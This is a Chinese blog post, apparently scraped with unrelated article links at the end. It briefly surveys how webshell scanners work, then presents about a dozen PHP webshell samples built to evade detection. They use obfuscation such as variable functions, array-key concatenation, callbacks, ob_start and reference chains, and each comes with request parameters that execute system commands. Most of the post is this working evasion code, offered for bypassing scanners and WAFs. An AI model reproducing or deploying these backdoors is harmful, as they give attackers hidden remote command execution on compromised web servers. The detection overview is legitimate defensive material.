Webshell机制绕过的个人理解总结

devtools/2024/9/23 21:51:24/

Webshell是指我们上传到网站的一些恶意后门程序或代码注入,这些Webshell能够使我们获得对网站的远程控制。而Webshell的核心就是那些危险函数,即系统命令执行函数和代码执行函数

常见的系统命令执行函数system()exec()shell_exec()passthu()proc_open()反引号``

常见的代码执行函数eval()assert()preg_replace()creat_function()call_user_func()call_user_func_array()可变函数

对于Webshell免杀,我的思考与思路是“认知”-->“探测”-->“磨刀”-->“打击”

不知防,焉知攻,要想绕过Webshell的检测与查杀,那么首先需要知道的是它的检测查杀机制,主要可分为两大类,静态检查动态检查

了解检测机制后,就是使用各种手段去不断磨练样本,使其能够通过检查。

以下就是我所搜集了解的一些手段:

  1. 变量替换,通过接收的变量去替换执行函数名称
  2. 可变长参数,接收不固定数量的参数
  3. 嵌套括号执行,利用current()、Clouse::fromCallable静态方法等,去嵌套执行
  4. session_start(),配合save_path使得可以在指定目录下创建文件
  5. 类的静态方法
  6. ob_start(),让脚本的输出内容作为其函数参数(回调函数)的参数
  7. 引用免杀,使用注释与反引号拼接
  8. 可变变量,动态修改变量名称,如$$name
  9. 定义变量,在字符串中拼接变量执行
  10. 一/二维数组,将一句话木马放置到数组中执行
  11. 数组交集,使用交集构造函数名
  12. 回调函数,也就是常规的回调后门

一、Webshell检测

因为PHP类的Webshell变形技巧多,复杂且难以检测,所以主要理解的是PHP的Webshell,其他语言类推。

1、特征值匹配

Webshell想要实现主要有两步:数据的传递执行所传递的数据

因此这种检测的有效性主要取决于正则写的是否足够有效,高危代码块的特征库是否足够丰富

对于执行数据部分,我们可以收集关键字,匹配脚本文件中的关键词找出可疑函数,当执行数据部分匹配到可疑函数时,再进行判断其数据传递部分是否为用户可控,譬如$_POST$_GET$_REQUEST$_FILES$_COOKIE$_SERVER等等

最直接的一个格式就是危险函数(可控参数),当Webshell中出现这种格式,一般都会被认为是恶意代码

下面是一些常见高危函数:

  1. 数据传递:$_GET$_POST$_COOKIE$_SERVER
  2. 命令执行:execpassthrushell_execsystemeval
  3. 文件操作与远程 URL:filefile_get_contentsfopencurlfsockopen
  4. 回调函数:call_user_funccall_user_func_arrayarray_maparry_filter
  5. 其他高危函数:phpinfopreg_replacecreate_functionunserialize

2、哈希校验

哈希校验的主要工作原理是基于Webshell样本库,样本库的丰富程度决定了检测的有效性

模糊哈希(fuzzy hash)算法确定文件分块位置并记录分块,对每个分块计算哈希值然后进行结果比较最后计算整个文件的相似度

3、文件完整性检测

文件的创建时间(新增文件、新增Webshell),修改时间(原有文件注入Webshell),文件权限,所有者

当文件的以上特性发生变化时候,可以立刻针对该文件下发Webshell检测任务

4、动态行为检测

通过监控运行PHP的进程在系统上执行了那些系统调用或命令,这是通过动态行为特征防御Webshell的一种有效方式。动态检测通过木马程序的动态特性来检测,当木马程序被上传到服务器上后,攻击者总会去执行它,当木马程序被执行时表现出来的特征就是所谓的动态特诊

5、日志检测

日志检测则主要通过日志分析检测技术来实现,它主要通过分析大量的日志文件并建立请求模型来检测出异常文件。它的优点为当网站上的访问量级达到一致值时,这种检测方法具有比较大参考性价比。它的缺点则是存在一定误报率,对于大量的日志文件,检测工具的处理能力和效率都会变得比较低。

二、免杀手段具体使用

1、变量替换

通过接收的变量去替换高危函数名称

<?php$parameters = $_GET[a];$parameter($_POST[shell]);
?>
?a=system
shell=phpinfo()

2、可变变量

可变变量是PHP中一种较为特殊的变量,它可以动态改变一个变量的名称,当然这种特性也可以用于木马的免杀中。

动态修改变量名称,如$$name

<?php$name = 'use';$use = 'hello';$$name = $_GET['a'];system($use);
?>
?a=id

2、可变长参数

接受不固定数量的参数,也就是将整个数组中的元素作为参数传入,数组有几个元素则有几个参数。

<?php$parameter = $_GET;usort(...$parameter);
?>
?0[0]=system&0[1]=id&1=call_user_func

2、数组交集

通过数组的交集可以获取我们想要的值,那么我们就可以将其利用到木马的结构当中

<?php$arr1 = array("sys"=>"1","tem"=>"2","c"=>"3","d"=>"4");$arr2 = array("sys"=>"11","tem"=>"22","cc"=>"33","dd"=>"44");$result = array_intersect_key($arr1,$arr2);$a = array_keys($result);$func = $a[0] . $a[1];$action = $_GET['action'];$func($action);
?>
?action=id

2、嵌套括号执行

利用current()、Clouse::fromCallable静态方法等,去嵌套执行

<?php$action = $_GET['action'];$parameters = $_GET;call_user_func($action, $parameters)($_POST['a'])($_POST['b']);
?>
?action=current&a=current
a[]=system&b=id

<?php$action = $_GET['action'];$parameters = $_GET;if (isset($parameters['action'])) {unset($parameters['action']);}call_user_func($action, $parameters)($_POST['a'])($_POST['b']);
?>
?action=Closure::fromCallable&0=Closure&1=fromCallable 
a=system&b=id

2、类的静态方法
<?phpClass A{static function f(){system($_GET['a']);}}$action = $_GET['action'];$parameters = $_POST;call_user_func($action, $parameters);
?>
?action=call_user_func&a=id
0=A&1=f 

2、ob_start()缓冲区作为输入

ob_start()打开缓存区,然后将脚本的输出内容作为ob_start函数中的参数(回调函数)的参数

<?php$action = $_GET['action'];$parameters = $_POST['shell'];call_user_func($action, $parameters);echo $_POST['a'];
?>
?action=ob_start
shell=system&a=id

2、回调函数

array_map() 回调函数会返回用户自定义函数作用后的数组。array_map() 函数具体使用方法和参数说明如下:

在这里我们可以先定义一个函数test,其中第一个参数a用作回调函数名称,第二个参数b用作回调函数的参数,之后将其传递给array_map()函数进行执行,之后我们在外部调用test函数,同时传入我们的回调函数名称和回调函数的参数:

<?phpfunction test($a,$b){array_map($a,$b);}test(@system,array($_GET['action']));
?>
?action=id

2、一/二维数组

在免杀的时候,可以考虑将一句话木马放置到数组中执行来达到绕过的目的

<?php$a = substr_replace("systxx","em",4);$b = array(''=>$a($_GET['action']));
?>
?action=id

2、引用免杀

因为查杀软件会对参数的输入进行溯源,所以我们也是使用应用来尝试能否断开溯源,同时还可以使用注释与反引号拼接来混淆代码

<?php$b = &$a;$a = $_GET('a');$c = &$b;system(`/**123**/`.$c);
?>
?a=id

2、定义变量

在字符串中拼接变量执行

<?php$a = $_GET['a'];$var = "hello {${system($a)}}";
?>
?a=id

2、回调函数

array_map() 回调函数会返回用户自定义函数作用后的数组。array_map() 函数具体使用方法和参数说明如下:

在这里我们可以先定义一个函数test,其中第一个参数a用作回调函数名称,第二个参数b用作回调函数的参数,之后将其传递给array_map()函数进行执行,之后我们在外部调用test函数,同时传入我们的回调函数名称和回调函数的参数:

<?phpfunction test($a,$b){array_map($a,$b);}test(@system,array($_GET['action']));
?>
?action=id

三、总结

免杀手段的主要利用原理就是混淆代码、更改执行位置等,通过让检查机制混淆检查的结果,从而误认为该文件无害。

因为为了提高检查的效率和降低误报率,WAF等安全产品是存在一定的缺陷,并不会检查彻底,例如溯源查找有次数限制等等,那我们通过足够长的嵌套是有可能逃出查杀。


http://www.ppmy.cn/devtools/116187.html

相关文章

React项目实战(React后台管理系统、TypeScript+React18)

### 项目地址:(线上发布) (1)别人的项目地址 gitgitee.com:zqingle/lege-react-management.git (2)我自己的项目地址 gitgitee.com:huihui-999/lege-react-management.git ### B站讲解视频地址 https://www.bilibili.com/video/BV1FV4y157Zx?p37&spm_id_frompageDrive…

MySQL数据库的备份与恢复

MySQL数据库的备份与恢复 在现代信息时代&#xff0c;数据已成为企业和个人的重要资产&#xff0c;数据的安全性和可恢复性直接影响到业务的连续性和稳定性。MySQL作为广泛使用的关系型数据库管理系统&#xff0c;其数据的备份与恢复显得尤为重要。本文将详细探讨MySQL数据库的…

nicegui标签组件lable用法深度解读和示例,源代码IDE运行和调试通过,截图为证

传奇开心果微博文系列 序言一、标签组件lable最基本用法示例1.在网页上显示出 Hello World 的标签示例2. 使用 style 参数改变标签样式示例 二、标签组件lable更多用法示例1. 添加按钮动态修改标签文字2. 点击按钮动态改变标签内容、颜色、大小和粗细示例代码3. 添加开关组件动…

英语学习交流平台|基于java的英语学习交流平台系统小程序(源码+数据库+文档)

英语学习交流平台系统小程序 目录 基于java的英语学习交流平台系统小程序 一、前言 二、系统设计 三、系统功能设计 四、数据库设计 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取&#xff1a; 博主介绍&#xff1a;✌️大厂码农|毕设布道师&…

GPT提示词分享 —— 深度思考助手

提示词&#x1f447; 角色&#xff1a;你是一个帮助我训练深度思考的 AI 助手。 输入&#xff1a;关键词、主题或概念。 处理过程&#xff1a; - 使用深度和广度的标准来评价这个关键词、主题或概念&#xff0c;提供高质量、有价值的问题&#xff0c;探讨人类认知、情感和行为的…

Linux命令分享 四 (ubuntu 16.04)(vi操作文件)

1、su 切换用户 su - 用户名 切换到该用户并将目录切换至该用户的主目录 **注意该语句执行后需要输入密码&#xff0c;输入密码时终端不回显&#xff08;不会显示你输入的密码&#xff09;&#xff0c;输完直接回车即可 su 用户名 切换用户但不切换目录 su - root su root **注…

基于微信小程序的剧本杀游玩一体化平台

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、SSM项目源码 系统展示 基于微信小程序JavaSpringBootVueMySQL的剧…

分布式计算技术是什么?在数据集成值得作用?

数据是现代科技技术的基础&#xff0c;面对爆炸性数据的增长&#xff0c;要求计算能力要求更高、数据整合和处理更有效&#xff0c;如何应对数据集成带来的挑战&#xff1f;本文将探讨分布式计算技术在数据集成中的优化作用。 一 分布式计算技术。 定义&#xff1a;分布式计算…